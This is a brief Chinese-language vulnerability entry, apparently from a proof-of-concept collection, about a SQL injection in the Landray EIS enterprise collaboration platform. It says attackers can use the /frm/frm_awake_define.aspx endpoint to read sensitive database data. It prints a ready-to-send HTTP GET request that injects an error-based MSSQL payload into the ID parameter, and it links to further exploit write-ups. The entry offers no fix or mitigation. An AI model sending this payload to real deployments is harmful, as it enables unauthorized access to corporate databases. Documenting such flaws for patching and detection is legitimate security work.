Description
蓝凌EIS（Landray EIS）是深圳市蓝凌软件股份有限公司推出的一款企业级智慧协同平台，是大型企业数字化转型的首选平台。该产品采用多层架构设计，涵盖协同办公、流程管理、知识管理、财务管理等核心业务模块，支持多组织、多账簿的复杂业务场景，广泛应用于制造、能源、交通、金融等国民经济重点行业。蓝凌EIS /frm/frm_awake_define.aspx 接口存在SQL注入漏洞，攻击者可获取数据库敏感信息。
蓝凌EIS /frm/frm_awake_define.aspx SQL 注入漏洞
PoC
GET /frm/frm_awake_define.aspx?ID=1%20and%201=sys.fn_sqlvarbasetostr(HashBytes('MD5','2257'))--+ HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://cn-sec.com/archives/2428707.html
https://github.com/adysec/POC/blob/main/wpoc/%E8%93%9D%E5%87%8COA/%E8%93%9D%E5%87%8CEIS%E6%99%BA%E6%85%A7%E5%8D%8F%E5%90%8C%E5%B9%B3%E5%8F%B0rpt_listreport_definefield.aspx%E6%8E%A5%E5%8F%A3%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
https://mrxn.net/jswz/landray-eis-fl_define_edit-sqli.html
https://blog.csdn.net/qq_36618918/article/details/135485555
https://xsx.tw/exploit/3430/
https://www.cnblogs.com/0neOr2eR0/p/18723789